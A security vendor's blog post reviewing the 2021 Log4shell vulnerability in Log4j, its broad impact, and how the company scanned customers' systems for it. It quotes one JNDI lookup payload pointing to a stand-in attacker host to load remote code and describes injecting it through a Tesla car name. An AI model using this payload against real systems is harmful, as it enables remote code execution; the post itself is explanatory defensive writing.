Looking back on the 2021 vulnerability: Log4shell
by Secutec
In December 2021 a critical vulnerability surfaced named Log4shell within Log4j, a widely used logging tool for java applications. Log4j is used globally by computers running online services, which meant it impacted a multitude of people, organisations, and government organisations. Since then, multiple fixes have been implemented in the hope to avoid such an outbreak in the future.
Background and impact
Library log for java or Log4j, is a very popular, common open-source software component that is used in thousands of applications. The most important aspect of the software is that it receives log messages that it writes to files using an elaborate configuration scheme, so that users/developers can gain maximum control of their logs/login files.
It is most likely that all software using java or with java components, was affected by the Log4j vulnerability (CVE-2021-44228 / CVE-2021-45046). This vulnerability not only affected software you can run and install in your own environment but also online services. Some of the software and services affected included: Jira, ElasticSearch, VMware products, Oracle, Apple iCloud, Steam, Twitter, WebEx, Minecraft, and Tesla).
The vulnerability itself is related to a weakness in one of the naming directory interface look-up parameters. Here is an example of the format and protocol string:
{jndi:ldap://attacker[dot]com/malware.class}
It is a relatively easy vulnerability to exploit as it can be added into any website form or search field, even in images. What made this vulnerability so critical, is that it can be exploited in many ways that are difficult to detect. We saw many organisations struggle, as most were unsure whether they had software or systems running that use the Log4j library. When you don’t know or see the asset(s) that are potentially vulnerable, the vulnerability can go unnoticed for a long time, leaving the organisation very vulnerable to attacks or infiltrations without being noticed/seen.
Using Tesla as an example:
You can name your car and you can enter the JDNI string in there. When you then enter your car and connect to the console, showing the name you have selected, a request will be sent to load code from the attackers’ server instead of the Tesla server.
What did we see?
The first thing we did is checked how we could find the technology in the attack surface of our customers. We were able to create a list of vulnerable software, which mainly included programs created using Java, both COTS as well as self-built. A list of queries was quickly shared with customers so that they could identify possible vulnerabilities in their attack surface. During the days and weeks that followed, this list was regularly updated as it became clear that more software was identified as being vulnerable. This was predominantly because the Log4shell vulnerability not only affected software, but also their sub-components.
“Cybersprint’s Attack Surface Management tool continuously searches for new assets for its customers including technologies that are issued and possible risks within these assets. When something critical is detected, Cybersprint promptly scales up its internal response processes. In this case, Cybersprint’s research team found the Log4j vulnerability exploit and classified it as a high risk to its customers, even before major cyber security institutions issued a warning/statement to the public.”
– Vincent Thiele, CISO @ Cybersprint, a Darktrace company
How did we help customers?
To identify whether systems were vulnerable to Log4j, the vulnerability had to be actively exploited. In this case, we requested client approval to use to create a Log4j scanner. The Log4j scanner is based on an existing proof of concept for the exploit that we edited to allow it to scan multiple websites at once. Cybersprint’s offensive analysts scanned the attack surfaces and found several vulnerable systems that many customers were unaware of.
As Cybersprint customers already have an extensive overview of their attack surfaces in our platform, it allowed them to easily create an export of all their websites and IP addresses (assets) and run them through the Cybersprint Log4j scanner. In doing so, Cybersprint customers were able to mitigate the impact of Log4j in their attack surface.
Automated, 24/7
Cybersprint’s automated attack surface management tools allows you to have an up-to-date inventory of all your assets including the technologies used. So, if a critical vulnerability is announced you will have immediate insight in where that software within your organisation is being used and exposed to the outside world. Way before any other tooling can push out signatures/rules for discovery and/or detection.
Cybersprint customers had the advantage that their attack surface was already mapped out in detail. That way, they were able to quickly gain insights into which systems were vulnerable to being exploited. They could therefore easily prioritise getting specific vulnerabilities patched in-time. Pre-empting vulnerabilities of this kind further highlights the importance of knowing your attack surface.
Source: Looking back on the 2021 vulnerability: Log4shell (cybersprint.com)